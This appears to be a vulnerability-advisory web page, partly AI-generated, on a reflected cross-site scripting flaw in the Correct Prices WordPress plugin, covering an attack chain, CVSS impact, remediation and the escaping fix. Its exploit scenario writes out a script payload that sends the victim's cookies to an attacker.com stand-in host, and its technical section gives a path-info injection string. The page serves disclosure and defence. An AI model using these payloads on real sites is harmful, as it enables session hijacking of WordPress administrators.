Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify WordPress site running Correct Prices ≤1.0
-
DeliveryCraft URL with malicious path-info appended to plugin page
-
ExploitDeliver crafted link to target via phishing
-
InstallVictim (admin) clicks link and page renders
-
C2PHP_SELF echoed unsanitized into form action
-
ExecuteInjected JavaScript executes in victim browser
-
ImpactSession cookie or CSRF token exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target WordPress site must have the Correct Prices plugin (versions up to 1.0) installed and active, and the correct_prices_page() function must be reachable via an HTTP request - this function is rendered on the plugin's settings or pricing page within wp-admin. The CVSS vector PR:N confirms no authentication is required of the attacker to craft the malicious URL, but UI:R confirms that a victim (typically a logged-in WordPress user) must be socially engineered into clicking the crafted link. The injected script executes in the victim's browser session, not the server; impact is limited to the victim's browser context (Changed scope, S:C). Exploitation is further constrained by the fact that the vulnerable page is typically an admin-area page, meaning the most impactful exploitation requires tricking an authenticated WordPress administrator rather than any arbitrary site visitor. |
| Impact | The CVSS 3.1 base score of 6.1 (Medium) is consistent with a reflected XSS with Changed scope (S:C) - meaning the injected script executes in the victim's browser context rather than the server, enabling cross-origin impact such as session token theft from other WordPress pages. Attack vector is network (AV:N), complexity is low (AC:L), and no privileges are required (PR:N), making this trivially exploitable from the network once a suitable victim is identified. The single meaningful friction is user interaction (UI:R): the attacker must persuade a user to click a crafted link, which is typical phishing territory. No EPSS score was provided in the input data, so probabilistic exploitation likelihood cannot be quantified here. The plugin has a limited install base (niche pricing tool) which reduces population-level exposure, but any WordPress site running version 1.0 or below is fully exposed. This is not a KEV-listed vulnerability, and no POC was identified, consistent with a lower real-world priority - but the low attack complexity means exploitation is straightforward if a target is identified. |
| Exploit ScenarioDerived | An attacker identifies a WordPress site running the Correct Prices plugin and constructs a URL to the plugin's admin page with malicious JavaScript embedded in the path-info segment (e.g., appending /"><script>document.location='https://attacker.com/?c='+document.cookie</script> after the script filename). The attacker then sends this URL to a logged-in WordPress administrator via phishing email or social media. When the administrator clicks the link and the page renders, the unescaped PHP_SELF value injects and executes the script in their browser, potentially exfiltrating session cookies or performing actions as the authenticated user. No public exploit code was identified at time of analysis, though the attack pattern is well-understood and trivially constructable from the description alone. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 20, 2026
Reflected Cross-Site Scripting in the Correct Prices WordPress plugin (versions up to and including 1.0) exposes any site running this plugin to script injection via crafted URLs. The correct_prices_page() function writes the raw value of $_SERVER['PHP_SELF'] into a form's action attribute without calling esc_url() or esc_attr(), allowing an attacker to break out of the HTML attribute context and inject arbitrary markup. CVSS vector PR:N confirms no authentication is required from the attacker, though exploitation is limited by a required user interaction (UI:R) - a victim must be tricked into following a specially crafted link. No active exploitation has been confirmed (not in CISA KEV) and no public exploit code was identified at time of analysis.
RemediationAI
No vendor-released patch identified at time of analysis - the references point to the Wordfence advisory and the vulnerable source code in the WordPress trac browser, but no patched plugin version is confirmed. Site administrators should immediately deactivate and remove the Correct Prices plugin until a patched release is available. If the plugin is business-critical and cannot be removed, a compensating control is to implement a Web Application Firewall rule (such as Wordfence's built-in firewall or a network-level WAF) to block requests containing angle brackets or JavaScript event handlers in the URL path-info segment; note this is a partial mitigation and can be bypassed. Additionally, disabling PHP's ability to expose path-info (via cgi.fix_pathinfo=0 in php.ini on applicable server configurations) may reduce the attack surface but is environment-dependent. Plugin developers should apply esc_url() around $_SERVER['PHP_SELF'] when output into a URL attribute context per WordPress coding standards. Monitor the Wordfence advisory URL for patch availability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Reflected XSS). In PHP, $_SERVER['PHP_SELF'] returns the filename of the currently executing script including any path-info appended to the URL. Because the affected correct_prices_page() function (visible in the trac browser at trunk/correct_prices.php line 134) injects this value directly into an HTML form action attribute without escaping, an attacker can append a path segment such as /wp-admin/admin.php/correct-prices%22><script>payload</script> to break out of the attribute and execute arbitrary JavaScript in the victim's browser session. The WordPress plugin is authored by lykich and tracked under CPE cpe:2.3:a:lykich:correct_prices:*:*:*:*:*:*:*:*. The correct fix pattern in WordPress is to wrap PHP_SELF output with esc_url() for URL contexts or esc_attr() for attribute values, as mandated by WordPress coding standards.
Know when Correct Prices gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Correct Prices plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the $_SERVER['PHP_SELF'] variable in versions up to and including 1.0. This is due to the correct_prices_page() function echoing $_SERVER['PHP_SELF'] into a form's action attribute without any input sanitization or output escaping (such as esc_url() or esc_attr()). Because PHP_SELF reflects attacker-controlled path-info appended to the script URL, an attacker can break out of the attribute and inject arbitrary markup. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a specially crafted link.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-31023
GHSA-m24w-6mjv-3gj2
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB